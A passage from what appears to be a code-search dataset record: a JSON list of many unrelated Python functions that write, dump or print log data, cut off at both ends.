f:\\n json.dump(self.log_data, f, ensure_ascii=False, indent=4)\",\n \"def log_all(self):\\n self.save_raw()\\n self.log()\",\n \"def log(self):\\n f = open(self.log_dir + 'parsed.log', 'a')\\n try:\\n # Write: local time | CurrentCost \\\"time\\\" | id | temp/C | power/W \\n f.write(\\\"%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n\\\" \\n % (self.ts('now'), self.ts('cc'), self.id, self.temp, self.watts))\\n finally:\\n f.close()\",\n \"def log(self):\\n\\t\\tfilename = '/var/log/postunsuspendacct-%s.log' % self.argv.get('user')\\n\\t\\tfileobj = open(filename, 'w');\\n\\t\\tfileobj.write(self.title)\\n\\t\\tfor (key, value) in self.argv.items():\\n\\t\\t\\tfileobj.write('%s: %s\\\\n' % (key, value))\\n\\t\\tfileobj.close()\\n\\t\\tprint \\\"[%s] Log saved '%s'\\\" % (ctime(), filename)\",\n \"def logsave(self):\\n log_file = open(self.conf[\\\"output_prefix\\\"] + \\\"_log.txt\\\", \\\"w\\\")\\n try:\\n log_file.write(self.log)\\n finally:\\n log_file.close()\",\n \"def print_im_aldb(service):\\n # For now this sends logs to the log file.\\n # Future direction is to create an INSTEON control panel.\\n print_aldb_to_log(insteon_modem.aldb)\",\n \"def event_log(self):\\n pass\",\n \"def dump(self):\\n str_dict = convert_to_string_only_dict(self.as_dict())\\n\\n file_name = os.path.join(self.log_dir, self.config_file_name)\\n with open(file_name, 'w') as fp:\\n json.dump(str_dict, fp, sort_keys=True, indent=4, separators=(',', ': '))\\n print('Created log file: {}'.format(file_name))\",\n \"def getLog(self):\\n return self.session.request('diag/log/')\",\n \"def InsertLog():\",\n \"def print_aldb(service):\\n # For now this sends logs to the log file.\\n # Future direction is to create an INSTEON control panel.\\n entity_id = service.data[CONF_ENTITY_ID]\\n signal = f\\\"{entity_id}_{SIGNAL_PRINT_ALDB}\\\"\\n dispatcher_send(hass, signal)\",\n \"def dump(self) -> None:\\n ...\",\n \"def dump_to_log(self, log_dir, log_filename):\\n\\t\\twith open(os.path.join(log_dir, log_filename), \\\"w\\\") as f:\\n\\t\\t\\tf.write(\\\"================ Arguments ==================\\\\n\\\")\\n\\t\\t\\tfor k, v in vars(self).items():\\n\\t\\t\\t\\tf.write(\\\"{} : {}\\\\n\\\".format(k, v))\\n\\t\\t\\tf.write(\\\"=============================================\\\\n\\\")\",\n \"def _log2mylog(self, msg):\\n time_str = mod_time.strftime(\\n \\\"%Y-%m-%d %H:%M:%S\\\", mod_time.localtime(mod_time.time())\\n )\\n msg = str(msg)\\n content = \\\"%s [%s]\\\\n\\\" % (time_str, msg)\\n fa = open(self.mylogfile, \\\"a\\\")\\n fa.write(content)\\n fa.close()\",\n \"def on_start(self):\\r\\n self.log()\",\n \"def log_data(self):\\n\\n self.check_dir()\\n with open(self.log_file, \\\"a\\\") as logger_file:\\n logger_file.write(\\\"{}, {}\\\\n\\\".format(self.time, self.msg))\",\n \"def log(self):\\n LOG = {'tables': [{'state': self.state, 'name': 'Hearing', 'inserted': self.H_INS, 'updated': 0, 'deleted': 0},\\n {'state': self.state, 'name': 'CommitteeHearing', 'inserted': self.CH_INS, 'updated': 0, 'deleted': 0},\\n {'state': self.state, 'name': 'HearingAgenda', 'inserted': self.HA_INS, 'updated': self.HA_UPD,\\n 'deleted': 0}]}\\n self.logger.info(LOG)\\n sys.stdout.write(json.dumps(LOG))\",\n \"def core_dump(self):\\r\\r\\n loggerModem = logging.getLogger(__name__ + 'core_dump')\\r\\r\\n cmd_l=[r'at%debug=0', r'at%debug=2']\\r\\r\\n cmd_str='\\\\r\\\\n'.join(cmd_l)\\r\\r\\n\\r\\r\\n text_str = \\\"AT command\\\"\\r\\r\\n if self.dumpfile:\\r\\r\\n loggerModem.debug(\\\"Core file : %s\\\" % self.dumpfile)\\r\\r\\n loggerModem.debug(\\\"%-15s:\\\\t%s\\\" %(text_str, cmd_str))\\r\\r\\n with open(self.dumpfile, 'wb') as fd:\\r\\r\\n cmd_str = cmd_str + '\\\\r\\\\n'\\r\\r\\n self.serObj.write(cmd_str) # write a string\\r\\r\\n len_rd=0\\r\\r\\n response = self.serObj.read(2**16)\\r\\r\\n while len(response)>0:\\r\\r\\n len_rd += len(response)\\r\\r\\n loggerModem.debug(\\\"read %s bytes, current_len=%s\\\" % (len(response), len_rd))\\r\\r\\n fd.write(response)\\r\\r\\n response = self.serObj.read(2**16)\\r\\r\\n loggerModem.info(\\\"Created core dump: %s\\\" % self.dumpfile)\\r\\r\\n else:\\r\\r\\n loggerModem.info(\\\"No core dump as no dump file specified!\\\")\",\n \"async def _record_logs(self, report):\\n\\t\\tif report.action == Frame.Report.PARSE:\\n\\t\\t\\t# Collects the tests parsing log for further writing to Test_Parser.log\\n\\t\\t\\tif report.success:\\n\\t\\t\\t\\tself._parse_logs[\\\"success\\\"] += [report.log]\\n\\t\\t\\telse:\\n\\t\\t\\t\\tself._parse_logs[\\\"failure\\\"] += [report.log]\\n\\t\\telif report.action == Frame.Report.EXECUTE:\\n\\t\\t\\t# Writes a test log and dump to the results directory\\n\\t\\t\\ttest_log = (\\\"EXECUTE STATUS: SUCCESS\\\\n\\\\n\\\" if report.success else \\\"EXECUTE STATUS: FAILURE\\\\n\\\\n\\\") + report.log\\n\\t\\t\\tfor task in as_completed([self._event_loop.run_in_executor(self._thread_executor, FileSystem.dump_to, \\n\\t\\t\\t\\t self._result_directory_name + \\\"/Log/\\\" + report.test_name + \\\".log\\\", test_log)]):\\n\\t\\t\\t\\tawait task\\n\\t\\t\\tfor task in as_completed([self._event_loop.run_in_executor(self._thread_executor, TestLogger._write_test_dump, \\n\\t\\t\\t\\t self._result_directory_name + \\\"/Dump/\\\" + report.test_name + \\\".pcap\\\", report.dump)]):\\n\\t\\t\\t\\tawait task\",\n \"def setup_logfile():\\r\\n from core.general.appinit import log_init\\r\\n log_init(\\r\\n 'general',\\r\\n 'django_api'\\r\\n )\",\n \"def dumpDmesg(self):\\n pass\",\n \"def make_log():\\n log_file = os.path.join(phys_dir,'ge_phys2bids_'+datetime.now().strftime(\\\"%Y-%m-%d_%H-%M-%S\\\")+'.log')\\n with open(log_file,'w') as log:\\n log.write('-------- GE phys2bids --------\\\\n\\\\n')\\n log.write('DICOM directory: %s\\\\n'%dcm_dir)\\n log.write('Physiology directory: %s\\\\n'%phys_dir)\\n log.write('Output directory: %s\\\\n\\\\n'%out_dir)\\n log.write('%d EPI files were found\\\\n\\\\n'%len(dcm_dict))\\n for rn in dcm_dict.keys():\\n log.write('------------------------------\\\\n')\\n log.write('%s\\\\n'%dcm_dict[rn]['out_name'])\\n log.write('Start time: %s\\\\n'%dcm_dict[rn]['start_time'].strftime(\\\"%Y-%m-%d %H:%M:%S\\\"))\\n log.write('End time: %s\\\\n'%dcm_dict[rn]['end_time'].strftime(\\\"%Y-%m-%d %H:%M:%S\\\"))\\n log.write('PPG file: %s\\\\n'%dcm_dict[rn]['ppg_file'])\\n log.write('Respiration file: %s\\\\n'%dcm_dict[rn]['resp_file'])\\n log.write('ECG file: %s\\\\n'%dcm_dict[rn]['ecg_file'])\\n log.write('------------------------------\\\\n\\\\n')\",\n \"def dump(self, filename=None):\\n if filename is None:\\n current_datetime = datetime.datetime.now()\\n filename = current_datetime.strftime(\\\"results_%Y%m%d%H%M%S.csv\\\")\\n print(\\\"Writing results to \\\\\\\"{}\\\\\\\"\\\".format(filename))\\n identifiers = \\\"\\\"\\n values = \\\"\\\"\\n for entry in self.log.items():\\n identifiers += ((\\\";\\\" if len(identifiers) > 0 else \\\"\\\")\\n + str(entry[0]))\\n values += \\\";\\\" + str(entry[1]) if len(values) > 0 else str(entry[1])\\n with open(filename, 'a') as f:\\n f.write(identifiers + \\\"\\\\n\\\")\\n f.write(values + \\\"\\\\n\\\")\",\n \"def Log(self, times):\\n\\n print '--'\\n print times.PrettyPrintLog()\\n\\n return\",\n \"def export_log(self):\\r\\n if self.log[\\\"datetime\\\"] is not None and not self.log[\\\"datetime\\\"] == \\\"\\\":\\r\\n logs_dir = ''\\r\\n user = 'default'\\r\\n program_data = 'data\\\\program_data.json5'\\r\\n with open(program_data) as f:\\r\\n config = json.load(f)\\r\\n logs_dir = config.get(\\\"logs_records_path\\\", \\\"\\\")\\r\\n user = config.get(\\\"user\\\", \\\"default\\\")\\r\\n file_name = user+\\\" \\\"+self.log[\\\"datetime\\\"].replace(\\\"/\\\", \\\"\\\")\\r\\n file_name = file_name.replace(\\\" \\\", \\\"_\\\")\\r\\n file_name = file_name.replace(\\\":\\\", \\\"\\\")\\r\\n cwd = os.getcwd()\\r\\n if not logs_dir == \\\"\\\" and os.path.exists(logs_dir):\\r\\n if not user in os.listdir(logs_dir):\\r\\n os.makedirs(os.path.join(logs_dir, user))\\r\\n logs_dir = os.path.join(logs_dir, user)\\r\\n file_name = os.path.join(logs_dir, file_name)\\r\\n self.save_records(file_name)\\r\\n elif \\\"logs\\\" in os.listdir(cwd):\\r\\n folder = os.path.join(cwd, \\\"logs\\\")\\r\\n file_name = os.path.join(folder, file_name)\\r\\n self.save_records(file_name)\\r\\n self.reset_values()\",\n \"def log(self):\\n resp = requests.get(\\\"%s/api/log\\\"%self.urlbase, verify=False)\\n return resp.json[\\\"log\\\"]\",\n \"def _log(self, action: types.NestedArray) -> None:\\n if self._logger is None:\\n return\\n self._logger.info('{}, {}, {}, {}, {}, {}, {}'.format(\\n self._last_timestep.observation['STAGE'],\\n self._last_timestep.observation['CHIPS'],\\n self._last_timestep.observation['PLAYER_TOTAL'],\\n self._last_timestep.observation['PLAYER_ACES'],\\n self._last_timestep.observation['DEALER_TOTAL'],\\n action,\\n self._deck_distribution))\",\n \"def dump(self, stream):\\n log.error('Cannot dump: %s', self.file_name)\",\n \"def write_debug_log(self, msg):\\n now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\\n with open(self.debug_log, 'a+') as logfile:\\n logfile.write(\\\"%s: %s\\\\n\\\" % (now, msg))\",\n \"def _save_logs(self):\\n logger.info(\\\"Saving call logs\\\")\\n data = [c.to_dict() for c in self.logs[:29]]\\n tichy.Persistance('calls/logs').save(data)\",\n \"def _log_to_file(self, message):\\n if self.log is not None:\\n message = \\\"[%s] %s\\\" % (datetime.datetime.utcnow().strftime('%H:%M:%S'), message)\\n self.log.write(\\\"%s\\\\n\\\" % (message,))\\n self.log.flush()\\n print message\",\n \"def _log(self, log, message):\\n log_entry = '[%s] %s\\\\n' % (time.strftime('%Y/%m/%d %H:%M:%S'), message)\\n log.write(log_entry)\\n if self.verbose:\\n print log_entry.rstrip()\",\n \"def getLogs():\\n # in flux, it may be possible to provide more structured information\\n # like python Failure instances\",\n \"def log(self, msg):\\n self.ansible.log(msg)\",\n \"def log_schedule(self):\\n self.logger.log_schedule(self.params.schedule)\",\n \"def get_device_log(self, client):\\r\\n file_path = client.getDeviceLog()\\r\\n logging.info(str(time.asctime(time.localtime())) + \\\" Device Logs collected !! \\\" + file_path)\\r\\n #self.logger.info(\\\"Device logs collected at %s\\\" % file_path)\\r\\n return file_path\",\n \"def log(self):\\r\\n return self._log\",\n \"def logs(self, container: Container) -> str:\",\n \"def dump(data):\\n if Utils.memdmp is None:\\n Utils.memdmp = list()\\n if NS.LOG_DISABLED is True:\\n Utils.memdmp.append(data)\\n if Utils.dmpfile is None and NS.LOG_DISABLED is False:\\n Utils.dmpfile = open(r\\\"C:\\\\\\\\ProgramData\\\\\\\\Dmp.txt\\\", \\\"w\\\") \\n if NS.LOG_DISABLED is False:\\n Utils.dmpfile.write(str(data))\",\n \"def logging_data(self):\\n with open('sensor_data.log','w') as f:\\n json.dump(self.read_continuous_data, f)\",\n \"def writeToLogFile(self, event):\\n outPutStr = '{:013}'.format(0)\\n logOutPutStr = outPutStr + '\\\\t' + '{:.2f}'.format (time ()) + '\\\\t' + event + '\\\\t' + datetime.fromtimestamp (int (time())).isoformat (' ')\\n printOutPutStr = outPutStr + '\\\\t' + datetime.fromtimestamp (int (time())).isoformat (' ') + '\\\\t' + event\\n print (printOutPutStr)\\n if self.logFP is not None:\\n self.logFP.write(logOutPutStr + '\\\\n')\\n self.logFP.flush()\",\n \"def _stdlog(self, msg):\\n print msg\\n logger.info(msg)\",\n \"def logFile(self):\\n\\n event = 'stim'\\n mStr = '{:013}'.format(self.mouse.tag) + '\\\\t'\\n outPutStr = mStr + \\\\\\n datetime.fromtimestamp(int(time())).isoformat(' ') + '\\\\t' + event\\n print (outPutStr)\\n if self.textfp != None:\\n outPutStr = mStr + '{:.2f}'.format(time()) + '\\\\t' + event\\n self.textfp.write(outPutStr + '\\\\n')\\n self.textfp.flush()\",\n \"def debug_log(self, buf, shell):\\n\\n # Handle Shell output\\n if shell == True:\\n self.debugfile.write(\\\"<shell time=\\\\\\\" \\\" + datetime.datetime.now().strftime(\\\"%H:%M:%S \\\") + \\\"\\\\\\\" >\\\" )\\n self.debugfile.write(\\\"<![CDATA[\\\"+buf+\\\"]]></shell>\\\\n\\\")\\n\\n # Handle User Input\\n else:\\n self.debugfile.write(\\\"<user time=\\\\\\\" \\\" + datetime.datetime.now().strftime(\\\"%H:%M:%S \\\") + \\\"\\\\\\\" >\\\" )\\n self.debugfile.write(\\\"<![CDATA[\\\"+buf+\\\"]]></user>\\\\n\\\")\",\n \"def printer (self, logfile):\\n print >> logfile, \\\"Hsp {}\\\".format(self.num)\\n print >> logfile, \\\"Strand: {}\\\".format(self.strand)\\n print >> logfile, \\\"Frame: {}\\\".format(self.frame)\\n print >> logfile, \\\"Start: {}, End: {}\\\".format(self.query_start, self.query_end)\",\n \"def collect_core_dump(self, log_dir):\\n pass\",\n \"def log(self):\\n\\n\\t\\t# Only every 1/10 second (or so) to avoid flooding networktables\\n\\t\\tif not self.log_timer.running or not self.log_timer.hasPeriodPassed(self.log_timer_delay):\\n\\t\\t\\treturn\\n\\n\\t\\twpilib.SmartDashboard.putString('Pressure', '{0:.2f}'.format(self.get_pressure()))\\n\\t\\twpilib.SmartDashboard.putBoolean(\\\"Garbo?\\\", self.is_pbot)\\n\\n\\t\\tself.drive.log()\\n\\t\\tself.elevator.log()\\n\\t\\tself.intake.log()\",\n \"def print_aldb_to_log(aldb):\\n _LOGGER.info(\\\"ALDB load status is %s\\\", aldb.status.name)\\n if aldb.status not in [ALDBStatus.LOADED, ALDBStatus.PARTIAL]:\\n _LOGGER.warning(\\\"Device All-Link database not loaded\\\")\\n _LOGGER.warning(\\\"Use service insteon.load_aldb first\\\")\\n return\\n\\n _LOGGER.info(\\\"RecID In Use Mode HWM Group Address Data 1 Data 2 Data 3\\\")\\n _LOGGER.info(\\\"----- ------ ---- --- ----- -------- ------ ------ ------\\\")\\n for mem_addr in aldb:\\n rec = aldb[mem_addr]\\n # For now we write this to the log\\n # Roadmap is to create a configuration panel\\n in_use = \\\"Y\\\" if rec.control_flags.is_in_use else \\\"N\\\"\\n mode = \\\"C\\\" if rec.control_flags.is_controller else \\\"R\\\"\\n hwm = \\\"Y\\\" if rec.control_flags.is_high_water_mark else \\\"N\\\"\\n log_msg = (\\n f\\\" {rec.mem_addr:04x} {in_use:s} {mode:s} {hwm:s} \\\"\\n f\\\"{rec.group:3d} {rec.address.human:s} {rec.data1:3d} \\\"\\n f\\\"{rec.data2:3d} {rec.data3:3d}\\\"\\n )\\n _LOGGER.info(log_msg)\",\n \"def log(self, message):\",\n \"def task_records_to_log(self, records: List[Any]) -> None:\\n for r in records:\\n self._logger.info(\\n \\\"[%s]: %s - %s - %s/%s\\\",\\n r[\\\"createdDateTime\\\"],\\n r[\\\"userPrincipalName\\\"],\\n r[\\\"ipAddress\\\"],\\n r[\\\"location\\\"][\\\"countryOrRegion\\\"],\\n r[\\\"location\\\"][\\\"city\\\"],\\n )\",\n \"def test_case(self):\\n log.e('error日志')\\n log.d('debug日志')\\n log.i('info日志')\\n log.w('warning日志')\",\n \"def write_log(self, msg: str):\\n self.cta_engine.write_log(msg, self)\",\n \"def write_flow_log(pulses):\\n flow_settings = get_flow_options()\\n logline = (\\n '{\\\"Time\\\":\\\"'\\n + time.strftime('%H:%M:%S\\\",\\\"Date\\\":\\\"%d-%m-%Y\\\"', time.gmtime(gv.now))\\n + ',\\\"Flow\\\":\\\"'\\n + str(pulses)\\n + '\\\"}\\\\n'\\n )\\n print(logline)\\n log = read_flow_log()\\n log.insert(0, logline)\\n with open(\\\"./data/flowlog.json\\\", \\\"w\\\") as f:\\n if int(flow_settings[\\\"records\\\"]) != 0:\\n f.writelines(log[: int(flow_settings[\\\"records\\\"])])\\n else:\\n f.writelines(log)\\n return\",\n \"def get_fund_logfile():\\n return \\\"fund\\\" + get_day() + \\\".log\\\"\",\n \"def on_a(self):\\r\\n self.log()\",\n \"def save_copy_log(self):\\n if self.packaging_wrapper and self.finish_log:\\n with open(\\n '{}/copy_log.log'.format(self.packaging_wrapper.dest_root),\\n 'w') as log_file:\\n self.finish_log[0] = self.finish_log[0].replace('\\\\n\\\\n', '')\\n log_file.writelines(self.finish_log)\",\n \"def log (self):\\n return self._log\",\n \"def log(self, msg):\\n print(msg)\",\n \"def dumpHTTP(self, req, resp, content):\\n fmt = '[%s] %s %s %s| %s %s\\\\n'\\n dt_now = datetime.datetime.now()\\n str_now = dt_now.strftime('%Y-%m-%d %H:%M:%S')\\n\\n #\\n url = req['URL']\\n method = req['method']\\n body = req['request-body']\\n post_data = ''\\n if body and isinstance(body, StringType) and len(body):\\n post_data = body\\n pass\\n #print(type(resp))\\n if resp and isinstance(resp, DictionaryType) and len(resp):\\n resp = 'response_status : %s' % (resp.get('status', 'None'))\\n content = ''\\n pass\\n\\n ss = fmt % (str_now, method, url, post_data, resp, content)\\n print(ss)\\n #\\n\\n\\n logfile1 = os.path.join(os.getenv('G_LOG', '/root/automation/logs'), 'current/post_file_requests.log')\\n logfile2 = os.path.join(\\n os.getenv('U_DEBUG_HTTP_PLAY', os.getenv('G_CUREENTLOG', '/root/automation/logs/current')),\\n 'post_file_requests.log')\\n\\n logfiles = []\\n logfiles.append(logfile1)\\n if logfile1 != logfile2:\\n logfiles.append(logfile2)\\n pass\\n\\n for logfile in logfiles:\\n try:\\n fd = open(logfile, 'a+')\\n if fd:\\n fd.write(ss)\\n fd.close()\\n pass\\n pass\\n except Exception, e:\\n print('write debug log file(%s) failed : %s' % (logfile, e))\\n pass\\n pass\\n\\n pass\",\n \"def dump_diags():\\n try:\\n stat_log.info(\\\"=== DIAGNOSTICS ===\\\")\\n for name, diags_function in _registered_diags:\\n stat_log.info(\\\"--- %s ---\\\", name)\\n diags_function(stat_log)\\n stat_log.info(\\\"=== END OF DIAGNOSTICS ===\\\")\\n except Exception:\\n # We don't want to take down the process we're trying to diagnose...\\n try:\\n stat_log.exception(\\\"Failed to dump diagnostics\\\")\\n except Exception:\\n pass\",\n \"def print_logs(self, to_file=True):\\n logging.info(\\\"Printing Log Data\\\")\\n ml = self.monk_logs\\n cursor = ml.find({})\\n if to_file:\\n ff = open(\\\"log_data.txt\\\", \\\"w+\\\")\\n logging.info(\\\"Writing to file: \\\" + os.getcwd() + \\\"/log_data.txt\\\")\\n for log in cursor:\\n date = list(log.keys())[1]\\n log = {date: log[date]}\\n ff.writelines(json.dumps(log) + \\\"\\\\n\\\")\\n ff.close()\\n else:\\n for log in cursor:\\n date = list(log.keys())[1]\\n log = {date: log[date]}\\n print(json.dumps(log))\",\n \"def log(self, msg=None):\\n f = open(self.logbook, 'a')\\n # if send or receive, write message\\n if msg: \\n f.write(\\\" System time: \\\" + str(datetime.now()) + \\n \\\" Logical clock time: \\\" + str(self.clock_time) + \\n \\\" \\\" + str(msg) + '\\\\n')\\n # if it is an internal event just write the system time and current\\n # logical clock time\\n else:\\n f.write(\\\" System time: \\\" + str(datetime.now()) + \\n \\\" Logical clock time: \\\" + str(self.clock_time) + '\\\\n')\\n f.close()\",\n \"def log(msg=\\\"\\\"):\\n print(msg)\\n sys.stdout.flush()\\n f = open(\\\"/target/testdriver.log\\\", \\\"a\\\")\\n f.write('{:%Y-%m-%d %H:%M:%S.%s} :: '.format(datetime.datetime.now()))\\n f.write(f\\\"{msg}\\\\n\\\")\\n f.close()\",\n \"def on_sync(self):\\r\\n self.log()\",\n \"def _forward_log(self):\\n\\n if self.log is None:\\n return\\n\\n fd = None\\n try:\\n fd = os.open(\\\"%s.out\\\" % self.vm_log_path, os.O_RDONLY)\\n data = \\\"\\\"\\n while True:\\n new_data = os.read(fd, 4096)\\n if new_data == \\\"\\\":\\n self._log_to_file(data)\\n return\\n\\n data += new_data\\n lines = data.split(\\\"\\\\n\\\")\\n for line in lines[:-1]:\\n self._log_to_file(line)\\n data = lines[-1]\\n\\n finally:\\n if fd is not None:\\n os.close(fd)\",\n \"def copy_log_details(self) -> Sequence[Any]:\\n return pulumi.get(self, \\\"copy_log_details\\\")\",\n \"def copy_log_details(self) -> Sequence[Any]:\\n return pulumi.get(self, \\\"copy_log_details\\\")\",\n \"def copy_log_details(self) -> Sequence[Any]:\\n return pulumi.get(self, \\\"copy_log_details\\\")\",\n \"def setup_script_logging():\\n #handlers = [logbook.NullHandler()]\\n format_str = (\\\"[{record.time:%Y-%m-%dT%H:%MZ}] \\\"\\n \\\"{record.level_name}: {record.message}\\\")\\n\\n #handler = logbook.StreamHandler(sys.stderr, format_string=format_str,\\n # level=\\\"DEBUG\\\")\\n #handler.push_thread()\\n #return handler\",\n \"def _logger(self):\\r\\n\\r\\n # Create filename for log\\r\\n filenameF = self._vna.getDateFormatted() + \\\".txt\\\"\\r\\n filenameF = \\\"Logs/\\\" + filenameF \\r\\n f = open(filenameF, \\\"a+\\\") # Log saved in directory named logs located in same directory as this file\\r\\n \\r\\n # if self._vna.isTwoComponents():\\r\\n # for i in range(len(self._voltages)):\\r\\n # f.write('%s\\\\t\\\\t\\\\t' % self._voltages[i][0])\\r\\n # else:\\r\\n for i in range(len(self._voltages)):\\r\\n f.write('%s\\\\t\\\\t' % self._voltages[i][0])\\r\\n f.write('\\\\n')\\r\\n\\r\\n # if self._vna.isTwoComponents():\\r\\n # for i in range(len(self._voltages[0])):\\r\\n # line = \\\"\\\"\\r\\n # for j in range(len(self._voltages)):\\r\\n # line = line + str(self._frequency[j][i]) + '\\\\t' + str(self._intensity[j][2*i]) + \\\\\\r\\n # str(self._intensity[j][2*i + 1]) + '\\\\t'\\r\\n # f.write(line)\\r\\n # f.write('\\\\n')\\r\\n # else: \\r\\n for i in range(len(self._voltages[0])):\\r\\n line = \\\"\\\"\\r\\n for j in range(len(self._voltages)):\\r\\n line = line + str(self._frequency[j][i]) + '\\\\t' + str(self._intensity[j][i]) + '\\\\t' \\r\\n f.write(line)\\r\\n f.write('\\\\n')\",\n \"def send_log():\\n log.info(f\\\"UUID={UUID}\\\")\\n log.info(f\\\"SPLIT={SPLIT}\\\")\\n log.info(f\\\"BATCH_SIZE={BATCH_SIZE}\\\")\\n log.info(f\\\"EPOCHS={EPOCHS}\\\")\\n log.info(f\\\"PATIENCE={PATIENCE}\\\")\\n log.info(f\\\"X_FREQ={X_FREQ}\\\")\\n log.info(f\\\"LOOK_BACK={LOOK_BACK}\\\")\\n log.info(f\\\"LOOK_AHEAD={LOOK_AHEAD}\\\")\\n log.info(f\\\"KERNEL_SIZE={KERNEL_SIZE}\\\")\\n log.info(f\\\"FILTERS={FILTERS}\\\")\\n log.info(f\\\"L1L2={L1L2}\\\")\\n log.info(f\\\"D1={D1}\\\")\\n log.info(f\\\"D2={D2}\\\")\\n log.info(f\\\"DOUT={DOUT}\\\")\\n log.info(f\\\"PLOT={PLOT}\\\")\\n log.info(f\\\"SHUFFLE={SHUFFLE}\\\")\",\n \"def dump(self):\\n return\",\n \"def _stab_log_data(self, timestamp, data, logconf):\\n print('[%d][%s]: %s' % (timestamp, logconf.name, data))\",\n \"def log(self, msg):\\n logging.info(\\\"Logging Message\\\")\\n ml = self.monk_logs\\n today = datetime.datetime.now().strftime(\\\"%Y-%m-%d %H:%M\\\")\\n ml.insert({today: {\\\"log\\\": msg,\\n \\\"sentiment\\\": self.get_sentiment(msg),\\n \\\"weather\\\": Weather.get_weather()}})\",\n \"def getLog(self):\\n return self.log\",\n \"def getLog(self):\\n return self.log\",\n \"def get_full_log(self):\\n return self._get_log('full')\",\n \"def on_log( client, userdata, level, buf ):\\n print( \\\"MQTTClient log: \\\", buf )\",\n \"def log(self, client_addr, request):\\n with codecs.open(self.log_path, \\\"a\\\", 'UTF-8') as fh_out:\\n print >> fh_out, (time.strftime('%Y-%m-%d %H:%M:%S') + \\\"\\\\t\\\" +\\n ':'.join([str(i) for i in client_addr]) + \\\"\\\\t\\\" +\\n request)\",\n \"def LOG(s):\\n logfilejosi = open('/var/log/vamdc_josi.log','a')\\n s = str(s)\\n logfilejosi.write(s + '\\\\n')\",\n \"def on_log(self, mqtt_client, userdata, level, buf):\\n logging.debug(\\\"DEBUG - on_log received\\\")\",\n \"def logging(self):\\r\\n return None\",\n \"def log_request(forecast):\\n from time import gmtime, strftime\\n current_day = strftime(\\\"%d/%m/%Y\\\", gmtime())\\n current_time = strftime(\\\"%H:%M\\\", gmtime())\\n\\n with open('locations.log', 'a') as log:\\n # print(request.remote_addr, file=log) # IP address\\n # print(request.user_agent, file=log) # User agent\\n # print(where.title(), current, forecast, file=log, sep=' | ')\\n\\n location = forecast['location']\\n temperature = str(forecast['temperature']) + '°C'\\n weather = forecast['weather']\\n print(location.title(), current_day, current_time, temperature, weather.title(), file=log, sep=' | ')\",\n \"def log(self):\\n return self._log\",\n \"def log(self):\\n return self._log\",\n \"def log(self, event):\\n\\n log_message = '{} - {} file: {}'.format(\\n datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\\n event.event_type.capitalize(),\\n event.src_path\\n )\\n\\n if hasattr(event, 'dest_path'):\\n log_message += ' => {}'.format(event.dest_path)\\n\\n sys.stdout.write(log_message + '\\\\n')\\n sys.stdout.flush()\",\n \"def log(msg):\\n\\n print('datastore: %s' % msg)\",\n \"def log(self, msg):\\n current_datetime = self.get_date_time()\\n self.file.write(\\\"%s %s\\\\n\\\" % (current_datetime, msg))\",\n \"def DumpInfo(self):\\n if self.logdir is None:\\n return\\n self.dumpfile = '%s/preprocess_info.yaml' % (self.logdir)\\n try:\\n f = open(self.dumpfile,'w')\\n f.write(yaml.dump(self.info,default_flow_style=False, indent=4))\\n f.close()\\n except IOError:\\n self.errors = True\\n errstr = 'Error accessing %s' % self.dumpfile\\n raise IOError(errstr)\\n self.LogErrors(errstr)\",\n \"def save(self, fh):\\n\\t\\t#first write head of file\\n\\t\\tfh.write('+INFO:IEEE 802.15.4 ZigBeeSniffer Log.\\\\r\\\\n')\\n\\t\\tfh.write('+DATE:' + time.ctime() + '\\\\r\\\\n')\\n\\t\\tfor packet in self.packets:\\n\\t\\t\\tload = [len(packet.load)] + packet.load\\n\\t\\t\\tload = map(str, map(hex, load))\\t# int->hex->str\\n\\t\\t\\tload = map(lambda x: ('0'+x[2:])[-2:].upper(), load)\\t# 0xa -> 0A\\n\\t\\t\\tload = ','.join(load)\\t\\t\\t\\t\\t\\t# glue it back\\n\\t\\t\\ttimee = ','.join(packet.time)\\n\\t\\t\\tfh.write('+FRAM:' + timee + ',' + load + '\\\\r\\\\n')\\n\\t\\t\\t\\n\\t\\tfor node in self.nodes.nodes:\\n\\t\\t\\tpan = node.panId[2:] # cut '0x' from begining\\n\\t\\t\\taddr = node.address[2:] # cut '0x' from begining\\n\\t\\t\\tline = '+NODE:\\\"%s\\\"' % node.name\\n\\t\\t\\tline += ',%s,%s' % (pan[2:], pan[:2]) if pan else ',??,??' # PAN-ID\\n\\t\\t\\t#now split address into pairs (bytes):\\n\\t\\t\\tpairs = map(''.join, zip(iter(addr), iter(addr)))\\n\\t\\t\\tfor pair in reversed(pairs): \\n\\t\\t\\t\\tline += ',%s' % pair\\n\\t\\t\\tfor i in range(8 - len(pairs)):\\n\\t\\t\\t\\tline += ',??'\\n\\t\\t\\tline += '\\\\r\\\\n'\\n\\t\\t\\tfh.write(line)\\n\\t\\t\\n\\t\\tself.changed(False)\",\n \"def setup_logging(\\n format_file=\\\"%(asctime)s - [%(levelname)s:%(name)s] %(message)s\\\",\\n format_stout=\\\"[%(levelname)s:%(name)s] %(message)s\\\",\\n level=logging.INFO,\\n filename=f\\\"{DIR_SIMFILES}/_mdsea_logdump.log\\\",\\n maxbytes=500000, # 500 kB\\n) -> None:\\n import logging\\n import os\\n\\n looger_root = logging.getLogger(\\\"mdsea\\\")\\n looger_root.setLevel(level=level)\\n\\n # SUPPRESSED_MODULES = (\\\"matplotlib\\\", \\\"apptools\\\", \\\"asyncio\\\", \\\"mayavi\\\", \\\"pyface\\\")\\n\\n # Set StreamHandler\\n handler = logging.StreamHandler()\\n handler.setFormatter(logging.Formatter(fmt=format_stout))\\n handler.setLevel(level=level)\\n looger_root.addHandler(handler)\\n\\n # Check if the directory where the log will live exists\\n _dir = \\\"/\\\".join(filename.split(\\\"/\\\")[:-1])\\n if not os.path.exists(_dir):\\n os.mkdir(_dir)\\n\\n # Set RotatingFileHandler\\n handler = RotatingFileHandler(filename, maxBytes=maxbytes, backupCount=1)\\n handler.setFormatter(fmt=logging.Formatter(format_file))\\n handler.setLevel(level=level)\\n looger_root.addHandler(handler)\\n\\n looger_root.debug(\\\"logging setup successful!\\\")\",\n \"def putlog(self,s):\\n if not self.logqueue == None:\\n# print s\\n self.logqueue.put(\\\"Spectrum: (\\\"+time.ctime()+\\\"):\\\\n\\\"+s)\",\n \"def saveLogs():\\n\\tprint(\\\"Saving logs...\\\")\\n\\tfor log in logClass.logs:\\n\\t\\tlogClass.logs[log].saveLog()\\n\\t\\tprint(\\\"Saved:\\\",log)\"\n]","isConversational":false},"negative_scores":{"kind":"list 